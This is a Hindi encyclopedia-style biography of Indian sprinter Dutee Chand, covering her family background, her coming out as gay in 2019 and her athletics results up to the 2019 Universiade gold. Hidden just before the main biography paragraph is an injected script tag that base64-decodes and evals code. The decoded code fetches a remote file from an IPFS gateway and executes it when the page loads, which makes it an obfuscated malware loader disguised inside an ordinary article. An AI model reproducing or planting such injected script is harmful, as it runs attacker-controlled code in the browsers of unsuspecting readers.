दुती चन्द

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दुती चन्द
दुती चन्द
पूरा नाम दुती चन्द
जन्म 3 फ़रवरी, 1996
जन्म भूमि चाकागोपालपुर गाँव, ज़िला जाजपुर, ओडिशा
कर्म भूमि भारत
खेल-क्षेत्र एथलेटिक्स
प्रसिद्धि धाविका (स्प्रिंट)
नागरिकता भारतीय
क्लब ओएनजीसी
विशेष पहली बार दुती चन्द 2012 में निगाहों में तब आईं, जब उन्होंने अंडर-18 नैशनल चैंपियनशिप में 100 मीटर दौड़ जीतने के साथ नया रिकॉर्ड बना डाला था।
अन्य जानकारी दुती चन्द भारत की तीसरी महिला खिलाड़ी हैं, जिन्हें ग्रीष्मकालीन ओलम्पिक खेलों के 100 मीटर की इवेंट में क़्वालीफाई किया गया था।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>दुती चन्द (अंग्रेज़ी: Dutee Chand, जन्म- 3 फ़रवरी, 1996) भारत की अंतर्राष्ट्रीय व्यक्तिगत स्प्रिंट और वर्तमान राष्ट्रीय 100 मीटर इवेंट की महिला खिलाड़ी हैं। वह शुरू से ही बेहद शानदार प्रदर्शन करते हुए लोगों के दिलों में जगह बनाने में कामयाब रही हैं। पेशेवर और व्यक्तिगत दोनों ही तौर पर दुती चन्द भारत की सबसे होनहार एथलीटों में से एक के रूप में उभरकर सामने आई हैं।

परिचय

दुती चन्द का जन्म ओडिशा के जाजपुर ज़िले के चाकागोपालपुर गाँव के एक ग़रीब बुनकर परिवार में हुआ था। सात भाई-बहनों में वे अपने माता-पिता की तीसरी संतान हैं। उनकी और उनकी बड़ी बहन सरस्वती का 2006 में एक सरकारी खेल छात्रावास में दाखिला करा दिया गया। दुती चंद ने 2019 में बताया था कि वो समलैंगिक हैं। उनके अनुसार उनके समलैंगिक रिश्ते की वजह से उन्हें अपने ही परिवार के विरोध का सामना करना पड़ रहा था।

कॅरियर

दुती चन्द भारत की तीसरी महिला खिलाड़ी हैं, जिन्हें ग्रीष्मकालीन ओलम्पिक खेलों के 100 मीटर की इवेंट में क़्वालीफाई किया गया। इन्होंने इटली में जुलाई 2019 में सम्पन्न वर्ल्ड यूनिवर्सिटी गेम्स में इतिहास रचा।

दुती चन्द

ये वहां महिलाओं के ट्रैक एंड फील्ड इवेंट्स में गोल्ड मेडल जीतने वाली पहली महिला बन गयीं। दुती चन्द ने 100 मीटर रेस में 11.32 सेकंड का समय निकालते हुए वह रेस जीती थी। साल 2016 में उन्हें ओडिशा माइनिंग कॉर्पोरेशन में असिस्टेंट मैनेजर नियुक्त किया गया। पहली बार 2012 में दुती चन्द निगाहों में आईं, जब उन्होंने अंडर-18 नैशनल चैंपियनशिप में 100 मीटर दौड़ जीतने के साथ नया रिकॉर्ड बना डाला।


अगले साल 2013 में ओडिशा की इस धावक ने पुणे में आयोजित एशियन एथलेटिक्स चैंपियनशिप की 200 मीटर स्पर्धा में कांस्य पदक जीता और नैशनल सीनियर एथलेटिक्स चैंपियनशिप की 100 मीटर और 200 मीटर स्पर्धाएं जीतीं। 2016 एशियाई इंडोर एथलेटिक्स चैंपियनशिप, दोहा के 60 मीटर वर्ग में नए राष्ट्रीय रिकॉर्ड के साथ कांस्य पदक जीतीं। इसके बाद कज़ाकस्तान में जी कोसानोव मेमोरियल प्रतियोगिता के 100 मीटर स्पर्धा में 11.24 सेकेंड का समय निकाल कर 2016 रियो ओलंपिक के लिए क्वालीफाइ कर गईं। हालाँकि भारतीय धावक रियो में हीट स्टेज से आगे नहीं जा सकीं, लेकिन 2018 के एशियन गेम्स, जकार्ता में दो रजत पदक जीतीं।

एशियाड के 100 मीटर दौड़ में दुती चन्द का रजत पदक भारत के लिए 1986 के बाद बीते दो दशकों के दौरान जीता गया पहला पदक था, तब पी.टी. उषा रजत जीती थीं। तीन दिन बाद ही दुती चंद ने 200 मीटर में रजत जीत कर पेयर बना डाला। नापोली में 2019 समर यूनिवर्सियाड में दुती 100 मीटर दौड़ में स्वर्ण पदक जीत कर किसी भी अंतरराष्ट्रीय स्तर के एथलेटिक चैंपियनशिप के पोडियम पर शीर्ष में रहने वाली पहली भारतीय महिला धावक बनीं।

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टीका टिप्पणी और संदर्भ

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